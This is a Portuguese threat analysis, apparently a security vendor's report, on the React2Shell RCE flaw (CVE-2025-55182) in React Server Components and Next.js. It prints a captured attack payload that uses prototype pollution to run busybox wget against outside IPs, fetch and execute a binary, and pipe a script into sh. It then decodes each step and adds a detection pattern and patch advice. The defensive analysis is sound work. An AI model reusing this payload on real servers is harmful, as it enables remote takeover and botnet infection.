Análise de ameaças: CVE-2025-55182, « React2Shell » e proteção proativa HiveProtect.ai

CVE-2025-55182, "React2Shell" e a proteção proativa HiveProtect.ai

Data do relatório: 6 de dezembro de 2025

Gravidade da ameaça: Crítico (CVSS 10.0)

Vetor: Execução Remota de Código (RCE) via Componentes do Servidor React

HiveProtect.ai status: BLOQUEADO

1. Resumo Executivo

No início de dezembro de 2025, uma vulnerabilidade crítica foi revelada no ecossistema React, afetando especificamente os Componentes do Servidor React (RSCs) e frameworks como o Next.js. Referido como CVE-2025-55182 (e frequentemente chamado de « React2Shell« ), essa falha permite que um atacante não autenticado execute código arbitrário no servidor manipulando o fluxo de serialização do protocolo de voo .

Enquanto isso, uma técnica de evasão conhecida como Padding Attack surgiu para contornar os tradicionais Firewalls de Aplicações Web (WAFs ), incluindo as configurações padrão da Cloudflare. Ao sobrecarregar o corpo da solicitação além do limite padrão de inspeção (frequentemente 128 KB), os atacantes tentam ocultar sua carga maliciosa.

Este relatório analisa uma tentativa real de ataque interceptada por HiveProtect.ai em 5 de dezembro de 2025. Embora esse ataque tenha visado especificamente infraestruturas Node.js/Next.js, ele foi detectado e neutralizado pelas regras heurísticas do HiveProtect em uma infraestrutura WordPress, provando a eficácia de uma abordagem agnóstica em segurança e comportamental.

2. O Cenário das Ameaças: CVE-2025-55182

2.1 A mecânica da fenda

A vulnerabilidade está na forma como o React 19 e o Next.js (Roteador de Aplicativos) lidam com a desserialização dos dados enviados pelo cliente ao servidor via o protocolo interno « Flight ». Esse protocolo permite que o cliente envie estruturas complexas, incluindo referências a componentes do servidor.

O ataque explora validação insuficiente durante essa desserialização. Um atacante pode forjar uma requisição JSON contendo diretivas especiais (como $1:__proto__:then) para poluir o protótipo de objetos JavaScript ou forçar o servidor a importar módulos internos perigosos, como child_process de Node.js. Uma vez importado o módulo, o atacante pode chamar funções como execSync para iniciar comandos do sistema diretamente no servidor hospedeiro.

2.2 O desafio do acolchoamento (evasão WAF)

A perigosidade dessa campanha é amplificada pela técnica de contorno do WAF. A maioria dos firewalls de aplicações, por razões de desempenho, analisa apenas o início de uma requisição HTTP (os primeiros 128 KB na Cloudflare Enterprise por padrão, às vezes menos em outros planos).

Os atacantes industrializaram um método em que preenchem o início da solicitação com dados inofensivos (espaços, comentários, campos vazios) para « empurrar » a carga maliciosa (a carga útil RCE JSON) além desse limite. Se o WAF não bloquear estritamente grandes volumes de dados, a carga útil passa despercebida e chega ao servidor vulnerável, que lê toda a solicitação.

3. Anatomia do ataque bloqueada por HiveProtect.ai

Em 5 de dezembro de 2025, HiveProtect.ai sistemas interceptaram e bloquearam uma tentativa complexa de exploração. Aqui está a análise forense do registro capturado.

3.1 Registro bruto

05/12/2025 21:38	95.214.52.170
🔒 Bloquée	Warsaw, Poland 🇵🇱
🌐 API externe
DNS: DNS reverse vide	Critique	100	NoSQL Injection - Query (dans paramètres)	
📍 URL: /
🔍 Pattern détecté: /{.*?$.*?:.*?}/
🌐 User-Agent: Mozilla/5.0 (Linux; Android 14; SM-F9560 Build/UP1A.231005.007; wv) ...

Paramètres POST:
["{"then": "$1:__proto__:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;busybox wget http://31.56.27.76/n2/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}",""$@0"","[]"]

3.2 Decodificação de Carga Útil

Esse bloco de código JSON não é uma simples injeção de dados; É um script de execução completo projetado para assumir o controle total do servidor. Vamos analisar linha por linha:

Tem. Poluição protótipo (__proto__)

"then": "$1:__proto__:then"

O atacante começa manipulando o protótipo do objeto que está sendo processado. Essa é a pedra angular do exploit CVE-2025-55182. Ao injetar uma propriedade then através do protótipo, o atacante força o framework React a tratar sua carga útil como uma promessa assíncrona (« Thenable »), o que desencadeia a execução do código injetado ao resolver essa promessa.

B. A invocação de Node.js (child_process)

process.mainModule.require('child_process').execSync(...)

Esse é o cerne do ataque. O atacante contorna as proteções usuais chamando diretamente o módulo principal de Node.js para solicitar child_process. A função execSync permite que comandos de shell síncronos (bloqueadores) sejam executados, garantindo que o servidor aguarde a execução maliciosa ser concluída antes de responder.

C. A cadeia de morte

O comando imposto ao sistema é particularmente agressivo:

  • cd /dev : Mover para um diretório que geralmente é gravável em sistemas Linux (memória compartilhada), frequentemente usado para evitar deixar vestígios no disco rígido.
  • Busybox WGET http://31.56.27.76/n2/x86 : Baixando um binário malicioso (chamado x86) de um IP remoto (provavelmente outro servidor comprometido atuando como servidor de comando e controle – C2). O uso do busybox indica que o ataque é direcionado a ambientes conteinerizados (Docker/Kubernetes), onde ferramentas padrão como curl ou full wget às vezes estão ausentes.
  • chmod 777 x86; ./x86 reactOnMynuts : O arquivo é executável e executado imediatamente. O argumento reactOnMynuts provavelmente é uma chave ou flag para o malware inicializar. Esse binário geralmente é um « dropper« , uma botnet (tipo Mirai ou variantes) ou um minerador de criptomoedas.
  • busybox wget … -O-|sh : Uma segunda fase de download executa um script shell (parafusos) diretamente na memória (canalizado para sh), garantindo persistência ou download de ferramentas adicionais.

D. Exfiltração via erro (NEXT_REDIRECT)

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});

Para ver o resultado do ataque (a saída do comando), o atacante usa um truque engenhoso específico para Next.js. Ele gera um erro do tipo NEXT_REDIRECT. Normalmente usado pelo framework para lidar com redirecionamentos HTTP, esse erro aqui é desviado para retornar o resultado do comando (${res}) no campo digest da resposta HTTP. Isso transforma um ataque « às cegas » (RCE Cego) em um ataque com feedback imediato.

3.3 Por que HiveProtect.ai bloqueado (análise de regras)

O log indica uma detecção pela regra: NoSQL Injection – Consulta (em parâmetros).

É crucial destacar aqui uma nuance técnica importante. Embora o ataque seja um RCE React e não uma injeção NoSQL (MongoDB/CouchDB), o bloco é um exemplo perfeito de detecção heurística bem-sucedida.

  • O padrão detectado: /{.*?$.*?:.*?}/ Esse padrão regex procura estruturas JSON que contenham chaves ou valores com o símbolo $. No mundo dos bancos de dados NoSQL, o valor $ é usado para operadores (por exemplo, $where, $ne).
  • A luta React: O protocolo React Flight também usa massivamente o símbolo $ para referenciar objetos e promessas (por exemplo, $1, $B 1337, $@0).
  • O resultado: A regra de segurança HiveProtect.ai, projetada para interceptar estruturas de dados suspeitas e não padronizadas, identificou corretamente a carga útil como uma anomalia crítica. Embora a assinatura específica « CVE-2025-55182 » não tenha sido explicitamente nomeada, a natureza anômala do pedido acionou a proteção.

Além disso, a pontuação de ameaça foi maximizada (100/Crítico) por um fator contextual: DNS: DNS reverso vazio. O endereço IP atacante 95.214.52.170 não possuía uma resolução reversa de DNS válida, uma característica típica de bots automatizados e máquinas zumbis usadas em botnets. HiveProtect.ai combina análise comportamental (a carga útil) e reputação (o IP) para uma decisão final de bloqueio.

4. A importância da proteção transversal

Uma pergunta legítima pode surgir: « Meu site roda no WordPress (PHP), por que HiveProtect.ai bloqueando um ataque ao Node.js? »

É aí que reside a força da solução.

  • Proteção contra « Borrifar e Rezar »: Botnets modernos não têm como alvos cirúrgicos. Eles escaneiam toda a Internet IPv4. Eles enviam exploits do React para servidores PHP, exploits Java para servidores Python e mais.
  • Economia de Recursos: Mesmo que essa carga útil de RCE não pudesse ter sido executada em um motor PHP, processar tal requisição consome largura de banda, ciclos de CPU (para analisar JSON ou logs) e polui seus dados analíticos. Ao bloquear a requisição na borda, HiveProtect.ai protege o desempenho da sua infraestrutura.
  • Defesa em Profundidade: A infraestrutura moderna costuma ser híbrida. Um site WordPress pode coexistir no mesmo servidor que uma API Node.js ou usar um proxy reverso mal configurado. Bloquear ameaças em todas as tecnologias é a única abordagem viável de segurança.

5. Recomendações de Política

Após essa onda de ataques e a análise desse incidente, recomendamos as seguintes ações para todos os administradores sob proteção HiveProtect.ai :

5.1 Para Ambientes WordPress (Padrão)

  • Mantenha a Regra do « Corpo Grande » ativa: Como visto em tentativas de preenchimento de preenchimento (padding ats), bloquear corpos de requisição desnecessariamente grandes (>128 KB) em endpoints padrão (/, /wp-json/, formulários) é uma defesa extremamente eficaz contra tentativas de bypass WAF.
  • Monitore Logs Bloqueados: Bloquear atividades em regras de « NoSQL » ou « Code Injection » no seu site WordPress é um bom indicativo de que seu IP está em uma lista de alvos ativos de botnet.

5.2 Para ambientes híbridos (WordPress + Next.js/Node)

  • Atualização Crítica Imediata: Se você hospedar Next.js, atualize para a versão 14.2.20+, 15.0.4+ ou 15.1.0+ de forma imperativa. Para React, mire na versão 19.0.1+. Essa é a única correção definitiva na raiz.
  • Cura com WAF: Certifique-se de que suas regras de WAF não fiquem apenas na inspeção dos cabeçalhos. A combinação das regras heurísticas do HiveProtect e das regras gerenciadas da Cloudflare (especialmente sobre desserialização) é essencial.

Conclusão

O ataque interceptado em 5 de dezembro vindo da Polônia ilustra a rapidez com que atores maliciosos transformam novas vulnerabilidades em armas (CVE-2025-55182). A carga útil complexa, que combina poluição de protótipo, potencial desvio de WAF e execução de comandos do sistema, representa o topo do espectro das ameaças atuais da web.

HiveProtect.ai demonstrou sua resiliência ao bloquear esse ataque « Zero-Day » (ou « N-Day ») com detecção comportamental robusta, protegendo a infraestrutura do cliente independentemente da tecnologia subjacente.